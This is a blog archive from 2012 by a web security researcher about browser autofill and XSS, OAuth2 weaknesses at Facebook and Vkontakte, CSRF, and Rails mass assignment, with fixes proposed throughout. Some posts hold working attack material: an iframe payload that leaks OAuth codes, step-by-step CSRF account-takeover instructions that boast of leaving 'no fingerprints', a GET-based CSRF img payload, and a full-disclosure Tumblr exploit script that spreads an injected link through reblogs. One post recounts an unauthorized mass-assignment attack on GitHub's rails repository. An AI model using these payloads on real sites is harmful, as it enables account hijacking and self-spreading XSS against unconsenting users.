Thursday, November 29, 2012

XSS + "Save your password" = pwned

(on HNews)
Basically, browsers often suggest you to save your password and prefill it automatically.

The bug I just discovered: This value can be retrieved from JS side easily(and this means XSS can steal it). Your REAL password. It's not fucking yet-another-CSRF or SQL injection(server side is pwned) or other trivial. YOU are pwned.  Kind of a serious issue.

Very similar to old issue with 'highlighted' visited links, when attacker could know did you visit certain link or not.

Also, XSS can be on any page and user can be signed in or signed out. It will just open iframe or window and get values because of same origin.


Browsers should deny access to prefilled passwords from JS.(UPD: not helpful)

P.S. I'm alive and in Asia(now Kuala Lumpur). Don't worry, new stuff will be published soon ;)

I WAS WRONG. (About these two things)

1. Proposed solution will break the AJAX-based authentications since JS will not have access to password anymore. For example you might want to send password in a header:
Authentication: username:password
and to do so you have to use XHR. If you cannot retrieve password from autofilled input authentication will get broken.

2. There is one more workaround - XSS can change 'action' field to 3rd party website and then .submit(). JS doesn't need access to .value - browser itself will send it to attacker's server. Should we restrict sending passwords only to actions on the current page domain(same origin)? Sounds ugly.

Possible solutions:
1. restricting 'action' value to same origin. Ugly?
2. using Autocomplete only when user is interacting with the website e.g. by typing the first letters of the nickname.
3. Ask in the top bar notification "Should we use autocomplete on" or smth like this. Looks not bad to me.

4. BEST ONE: do not use any autofill. At least for passwords.
Because security of autofills is fucked. The more websites you use - the more probability to be XSSed on the one of them.

Thursday, September 6, 2012

The Story About Two OAuth2 Vulnerabilities

Facebook Connect Reply Attack
There is a blatant issue in facebook connect. It's vulnerable to replay attack.

Authorization 'code' expires as soon as access_token expires - approximately 60-80 minutes, during this period it can be used many times to obtain access_token. Every time you visit you are authenticated for

FB Connect doesn't follow clear and concise countermeasures from Threat Model. Here they are with annotations:
   o  Limited duration of authorization codes - Section [60-80 minutes are more than enough]
   o  The authorization server should enforce a one time usage restriction (see Section [unlimited]
There are couple of ways to get 'code':
For example if you use omniauth with rails check your logs for
GET "/auth/facebook/callback?code=..."
I recommend to filter this parameter with built-in tool:
config.filter_parameters += [:password, :code]
Callback is located on Client's website - and it is not always HTTPS. Your URL with code may be sniffed with MITM, browser plugins, browser history(if it has not redirects) etc
Here is a neat exploit to extract callback URL for proper redirect_uri.

<iframe src="" name="refcontainer" onload="alert(refcontainer.document.referrer)"></iframe>

1) Load authorize URL with proper redirect_uri as callback in iframe
2) get redirected on proper redirect_uri with code
3) another redirect, usually to root
4) fires up 'onload' event
5) since we are on the same origin we just go into iframe and extract 'document.referrer' - redirect_uri with code.
6) leak code and use it for replay attacks.

One time usage of 'code', please. There is no sense to keep 'code' if Client already obtained access_token for it.

Vkontakte Referrer Leak
Vkontakte has one time usage of 'code'. No replay attack here... Wait, there is a similar one. VK OAuth2 has a huge flaw.
They do not require 'redirect_uri' to exchange code for token. It means there is no verification, was certain 'code' issued for proper redirect_uri or any other URL (on Client's domain).
You can get a code for
and then just use it on
You will be authenticated.

There are literally dozens of ways to leak code: browser history, hot linked images leak referrer, clickjacking with clicking on external URL, sniffing, open redirectors(feature on some sites etc

Every time you create code you must save for which redirect_uri it was issued. When code will be exchanged for token, ensure that given redirect_uri parameter is equal stored.


Fixed on facebook, 2 grands $ bounty, fixed on vkontakte (for new apps only).

Wednesday, August 29, 2012

How To Cheat On Facebook Apps Permissions

Facebook doesn't care about your privacy, but you should. Facebook implements OAuth2 - readers of my blog know how shitty OAuth2 is and how awesome OAuth2.a will be.

Apps actually cannot require permissions ('scope' param). They propose it, but you can choose them - update authorization URL.

Example - you are redirected to:

Just change 'scope' param

And authorize the app. You permitted nothing special but app works - enjoy.

The post  had nothing to do with security. I was annoyed with terrible fact "you can ask permissions, it will look legit and user cannot uncheck them in UI. Well if he's smart enough to change URL - you have to check permissions in your code" 

There are two ways to fix it (OAuth2.a deals with the issue this way):
1) when app has "frozen" scope. This is not param in URL anymore, just a field in the database. Developer doesn't need to make sure what is allowed anymore - he is sure.
2) when app has "agile" scope. Client 'proposes' scope and User can uncheck not desired permissions. App should check explicitly what was permitted.

Tuesday, August 28, 2012

OAuth2: One access_token To Rule Them All

One access_token to rule them all...
I demonstrated The Most Common OAuth2 Vulnerability in Authorization Code Flow a while ago – signing in the Victim's account(followed by getting an access to Victim's resources on that website) by connecting Attacker's oauth account through CSRF-callback URL with Attacker's code. Despite popularity of that attack, it can be easily mitigated with 'state' param(to prevent CSRF) – and now it's fixed in popular ruby/python libraries.

Now I want to share a very straightforward attack for Implicit Flow based websites(realized in brainstorming with @isciurus). There is no proper mitigation so far.

Generally speaking:
  1. 'access_token' is a string that identifies your Resources on Provider. No other parameters are required to call Provider's API. There is no guarantee user's access_token1 for client1 is not used by client2 or client75 - nothing stops them.
  2. Let's assume I create a website: e.g. I ask my users to authorize my Client on facebook and I don't ask any scopes at all - I need only "/me" endpoint with "uid" param to be available. They authorize my Client because requires only 'read' access and nothing seems to be dangerous. I get their 'access_token's and now I can request /me endpoint and get their "uid"(often used for authentication)
  3. Let's assume there is another site: e.g. and yep, it uses Implicit Flow(receives token via CALLBACK#access_token=123qwe...). It's a pity - this website authenticates users by given access_token. Most likely it sends access_token on server-side and invokes /me endpoint from there.
  4. Since I am admin of and you authorized my Client and gave me an access_token from your account I just put that access token in callback URL: CALLBACK#access_token=YOUR_TOKEN and now's Client authenticates me as you because that token I just provided returns your 'uid' when /me endpoint is called. I need only one access_token from your Provider's account to rule all your accounts on 3rd party websites that use Implicit Flow.
OAuth2 is extremely insecure for authentication goals by default. 
  • Auth Code Flow: You must use 'state' parameter and verify - is this user the same user you sent to authorization URL by checking state value from session and returned one.
  • Implicit Flow: You must ensure that access_token you are going to use is issued for your Client. Please, use this URL for Facebook: Not all providers support this feature though. If access_token is anyhow obtained from User (not from Provider) - you must verify is this access_token issued for your Client.
Oh, also:
As I mentioned in my previous post on stupidity of OAuth2 - if Provider has Implicit Flow as an option - lots of Users can be compromised someday. If a single XSS is found on Client's domain - hackers can steal all access_tokens with it even if your website uses Auth Code Flow by just changing response_type param in authorize URL. 

OAuth2.a - simple and secure. Join! Honestly, yeah, OAuth2 is Road To Hell. Deal with it. But OAuth2.a is road to Simple and Secure both Authentication and Authorization. I am implementing Provider - charm. If you trust me and have a popular RoR website that needs OAuth - ping me, I will help you to introduce OAuth2.a and make your API users happier.
Author of this article is awesome - you can actually hire him.

Wednesday, August 1, 2012

SaferWeb: OAuth2.a or Let's Just Fix It

Eran and others, chill out. We should stop whining to nobody. I prefer rather "we gotta fix this, this and discuss that" than "it is bad"-attitude. Some people were surprised because they like OAuth2.

What about me? I was not surprised because OAuth2 is far from perfect. But there is no reason to give up, it's in our hands. ( By the way I'm waiting for comments on Hacker News OK?)

Below I explain some security and usability concerns about current OAuth2 and propose(I do, not just say 'it is bad') improvements to make it more agile and safe-by-default. OAuth2.a is going to be easier to implement and more secure.


  1. redirect_uri can be on any domain and amount of redirect_uri-s is unlimited. They are whitelisted and only exact match verification is applied(redirect_uri IS NOT flexible*). Client sets redirect_uri-s on his admin page in Provider.
  2. for every redirect_uri MUST be defined certain response_type - token or code. It must not be possible to set response_type in authorize URL. Every redirect_uri has its own defined response_type
  3. Most Common OAuth2 CSRF Vulnerability from my previous post. We should either introduce a new *compulsory* param(e.g. csrf_token) or just raise awareness about the issue.
  4. We need either assign 'scope' to certain redirect_uri as well as response_type(it MUST not be in URL) or allow user to choose what parts of scope to allow. It's up to Provider's implementation.
  5. We should introduce 'mass refreshing' of access_token-s. Client sends an array of refresh_token-s and client's credentials and get's hash with refresh_token=>access token.
  6. We need to define some DEFAULT URL paths and error codes to add a little bit more "interoperability". Really, is it so damn hard to keep your endpoints and error codes similar to other services?

Tuesday, July 3, 2012

The Most Common OAuth2 Vulnerability

HN discussion
If website uses OAuth multi-logins there is an easy way to log into somebody's account, protection is almost never implemented and people don't take into account that OAuth is also used for authentication.

OAuth2 is an authorization framework. Apparently it's very popular now. Disregards its popularity a lot of people don't understand it deeply enough to write proper and secure implementation.

OAuth1.a and OAuth2 are incompatible, some services use former(twitter, wtf, come on!), some latter, some of them have insufficient and poor documentation(in terms of security) etc. It took me a few hours to read OAuth2 draft thoroughly and I found a few interesting vectors. One of them I am exposing in this post.

It's really dangerous but very common vulnerability for multi-login OAuth websites. 
A little bit of theory:
  • response_type = code is server-side auth flow, should be used when possible, more secure than response_type = token. Provider returns 'code' with User's user-agent and Client sends along with client's credentials the code to obtain 'access_token'. Callback when user is redirected looks like
  • I remind you, OAuth is all about authorization, not authentication. What's the difference, you might ask. OAuth just gives to Client access to User's resources on Provider.
    But very often Client authenticates you by 'profile_info' resource, thus we can call it authentication framework either.
Condition for the hacklogin with OAuth Provider + ability to add OAuth Provider logins in settings

Hacking, Step-by-step:
  • Choose Client which suits hack's "condition" - some will use Pinterest as showcase) Start authentication process - click "Add OAuth Provider login". You need to get callback from Provider but should not visit it. It's quite difficult - all modern browsers redirect you automatically. I recommend bundle Firefox + NoRedirect extension.
  • Do not visit the last URL(, just save and put it into <img src="URL"> or <iframe> or anything else you prefer to send requests.

  • Now all you need is to make the User(some certain target or random user) to send HTTP request on your callback URL. You can force him to visit which contains <iframe src=URL>, post <img> on his wall, send him an email/tweet, whatever. User must be logged in when he sends the request.
    Well done, your oauth account is attached to User's account on
  • Voila, press Log In with that OAuth Provider - you are logged in directly to User's account on

    Enjoy: read private messages, post comments, change payment details, have lulz, whatever. In fact account is yours now.

    After you had enough fun you can just Disconnect that OAuth Provider and log out. Nobody will have an idea what has happened, you left no fingerprints!
How to detect, is certain OAuth implementation vulnerable?
If site doesn't send 'state' param and redirect_uri param is static and doesn't contain any random hashes - it's vulnerable.
I know at least 10+ popular vulnerable sites: e.g. pinterest, digg, soundcloud,,, stumbleupon etc. If you know more sites - please drop me a line at
Also all Rails + Omniauth are vulnerable. Have fun(about 23,300 results)


You are supposed to send special optional param 'state' - any random hash you get back by Provider in User's callback: ?code=123&state=HASH. Before adding OAuth account you MUST verify session[state] is equal params[state].
Classic: Insecure-by-default means insecure. Majority of developers don't use it at all - nobody pays for "optional" weird param :trollface:

  • $_SESSION['state'] == $_REQUEST['state'] is vulnerable code, was used a while ago in FB examples. Emtpy string equals empty string.
  • I recommend you to filter 'code' in logs config.filter_parameters += [:code]
  • state should not be equal form_authenticity_token(session[:csrf_token]) in rails
  • if you implemented response_type=token flow w/o FB JS library, it's most likely vulnerable too.

At the moment I am working on "OAuth2 Security Proposal". The Proposal aims to make OAuth2 safer by changing its policies, rules and workflows. Most of the points are supposed to be backwards compatible but some of them are quite difficult to apply. Stay tuned, I am publishing it in a few days.

Friday, June 22, 2012

With New Features Come New Vulnerabilites. The Web is Broken.

I spam in twitter and RSS.
HN discussi0n

Security Digest:
  • Rails coders, I remind you the very last time :) Run command Find ".to_json" agains your 'app/views' and please sanitize it, I stumble upon case 2 from my Rails & Security talk really often.
  • Use JSONP only with unique token per user. Don't give out private data via static URL.
  • It goes without saying but.. Seriously, Regexp /^ is not enough to mitigate CSRFs (Yeah, also if you are rubyist you should use \A instead of ^! Rails has reminder now Why? Because and both are legit domains too. Do add "\/" in the end of your Regexp. Anyway, don't rely on Referer.
  • X-Frame-Options (XFO) Detection from Javascript
  • I found out that 'autofocus onfocus=inject' is a really nice vector and works great. Thanks .mario's, some of cases over there are really worth getting addressed.
  • This is new section, please drop me a line if you have any epic thing about security :3
Current status:
On the left - Me, pointing various problems, starving to get feedback and proposing some fixing in a painless way.
On the right - browsers, ruby, community, whatever's response :)

Look, web security is all about philosophy and concept. Root of plenty of the problems is a poor problem solution/design or irresponsible adding of new features.

When browsers implement a new feature they should also care how it'll work along with existing websites, in terms of security too.

Thursday, June 21, 2012

Tumblr. "Full Disclosure" or Why I Hate Reporting

Security is art for me. Reporting yet another routine vulnerability(e.g. XSS is one) is a routine.

Now the question is: Why reporting a vulnerability is always such a hassle and tedious email ping-pong?  

Should we have another startup: analogy) which aggregates vulnerabilities for all websites to make reporting easier? I'm kidding.

Frankly, I want every flaw I find to be fixed - I report it and reported so far to more than 20 pretty popular sites. Only 1 of them(skrill) was nice enough to pay me some bounty and just a few of them said 'thanks'.

I'm pissed off explaining to technical support of Tumblr what is the vulnerability and how to fix it. Getting reply "What is your browser and which OS do you use" - WTF, why do you waste my time? :(

So I am angry with these two things - tumblr spams my twitter w/o my approval and tumblr is not fixing the vulnerability I reported(for free..) a month ago(on 22 May). It's not a full discl. because it also was known since may 19, I warned you, I did.


set URL

save somewhere your inject.js

//save it as YOUR_INJECT_URL.js
//do anything you want - you are on '' origin
var inject_js = '';
$$('a').each(function(a){ if(a.href.indexOf('') != -1){ inject_js = a.href} })
new Ajax.Request('/new/link', {parameters:{'post[date]':'now','post[source_url]':'http://','send_to_twitter':'on','is_rich_text[one]':0,'form_key':document.getElementById('form_key').value,'post[one]':'ANYFUNNYTITLE','post[two]':inject_js,'post[three]':'LONG FUNNY DESCRIPTION','post[type]':'link','channel_id':0,'post[state]':0,'is_rich_text[two]':0,'is_rich_text[three]':1}})
document.location = "//";
Post the link and enjoy - everyone will reblog it by clicking and will not notice anything. Also you can add me on tumblr and then press the link in your dashboard to see it in action instantly. 

Get 'reports' first - twitter and RSS.

Wednesday, June 6, 2012

x-www-form-urlencoded VS json - Pros and Cons. And Vulns.

In this short post I want to remind you how agile HTTP requests are. By "requests" we all mean GET and POST - these are the majority. POST contains "message", which is encoded in Internet media type etc - on wiki

By default <form method="post"> tag submits request with this header:
This is the default encoding format among HTTP requests. It was suffice just a few years ago - when all people have been sending nothing bigger and more complex than  "".

It's 2012 now, web became much more comprehensive, more rich and data sets are huge now. Developers scope related params in hashes/arrays - in a "tricky" way. If you want to have user["email"] on the server side you are supposed to send
<input name="user[email]">

but if you want user[emailS"] - array of emails, you should send
<input name="user[emails][]">

Application accumulates all params one by one and put them in the corresponding variables. This attitude is full of bugs and incompatibilities. Let me give you a hence.

Saturday, May 19, 2012

Injects in Various Ruby Websites Through Regexp.


You are a web developer. Let's assume you are building a website using Ruby(and probably Rails or any other Ruby framework). This is why you need to validate some input params - to make sure that they don't contain any crap you don't want to be there. Come on, you are going to google it, right?:

Tuesday, April 24, 2012

"match" in Rails and CSRF

CSRF afterparty & MUST READ rules
Playing With Referer & Origin + and Vulnerability)

Sometimes developers use GET for state-changing requests by purpose. This determines low-skilled developer. In this post I want to describe another vector of attack - GET Accessible Actions(GAA) - when framework abstractions + bad practices make "Good Guys' apps" insecure.

There is a thing I found exploring DSL's and engines' internals - many frameworks do "dirty work" for developer - they merge GET(stored in URL string)+POST(stored in Body) params into one unified hash. IMO it's cool and awesome to use - "params" for Rails and $_REQUEST for PHP.

But! As I found out it often confuses mechanism of handling GET requests from others(POST-like - PUT/DELETE/etc).
Same "state-changing" code is accessible via GET either, it is GAA, opening the easiest to use hole: <img src=URL/create_message?message[body]=SPAM>

Playing With Referer & Origin

(related: CSRF afterparty & MUST READ rules )

If you read owasp you should know that Referer has never been a good protection. If user submits form from https:// URL than referer header is omitted due to security reasons - it's known fact. But having https page is a big deal for hacker - very uncomfortable for massive attacks(rapidly banned/reported, expensive certificates).

I found a way(in fact two ways) to omit this header from any page - it is the trick with about:blank.

Monday, April 2, 2012

CSRF examples

Remark: Post is published on April 2(but was expected yesterday) coz Berlin haz no free wifi cause I'm not joking and I figured out that Sunday is the worst day for urgent updates. Well, who cares the date, enjoy:


I'm trying hard to prove my point that statement "CSRF is only the developers' problem" is not true. I provided some examples and I want you to check them out. I really appreciate any viewpoint at this problem. Thank you for your attention in advance!

Friday, March 30, 2012

CSRF Is A Vulnerability In All Browsers

#1 CSRF Is A Vulnerability In All Browsers - You MUST Deny It ASAP.
#2 top secret(will be published on April 1)
#3 Another Rails Issue(April 2-3)
#4 The Webkit Hole(April 2-4)

It took me a long time to understand the point behind CSR (cross-site requests) and CRSF fully enough to find them EXTREMELY malicious.
Following points should be made before any explanation.
  • It is well known attack(yep, just like mass assignment). It's known but not well. You won't find any mention of CSRF in books for beginners a la "PHP in 24 hours" or "HTML/CSS for dummy". Underestimated kind of attack.
  • It is neither bug in OS nor in browser nor in the servers' adjustments. Linux/Mac/Windows, Chrome/Firefox/IE - it just doesn't matter! This is just an expected behavior. And it works like it supposed to. Funny, isn't it? Known since 2001 but not fixed yet. Interested? Keep reading.
  • HTTPS? Would not help. SSL has nothing to do with this attack.
  • Short sessions? Sounds nice, but there are always a few ways to ask/force user to sign in and than script can attack. We are human, it's not so difficult to cheat on us. And, short sessions are rare, most sites with a "remember me" button do not rely on short sessions.
  • Special plugins/extensions to be secure(e.g. Who uses them?! O_o Almost nobody.
  • Protection on server-side. Rails 3 framework has it out-of-box - using authenticity_token helps. By the way Rails is the most secure framework I've ever seen.(sic!) Mass assignment is "vulnerability" in the documentation and developers are in charge; but not in rails. At the same time to have protection with other langs/platforms(PHP, Java, you have to write ~10-50 additional lines of code. IMO(and *these cases* prove it) 90% of developers just don't care and don't spend time on that. That's a huge hole, easy to find and easy to use.

Sunday, March 4, 2012

Hacking rails/rails repo

So I commited in rails/rails repo

I simply added a <input value=USER_ID name=public_key[user_id]> field to Public key update form, where USER_ID = 4223 (from

Backend didn't whitelist accessible attributes and had something like this:
@key = PublicKey.find(params[:id])
@key.update_attributes(params[:public_key]) #Oh no! We passed public_key[user_id] of our victim!

Now our victim (Rails) has our public key associated with their account. You can read/write in any public/private repo on github.

Thoughts on this from 2014: 
it was one of my first hacks and I didn't know how to behave. I was angry because nobody wanted to take me and mass-assignment issue seriously. After I did the commit this vulnerability was fixed on github within 1 hour and in rails within 5 hours. This was really effective, many people learned about the bug and fixed it in their apps, but I still regret about this irresponsible disclosure.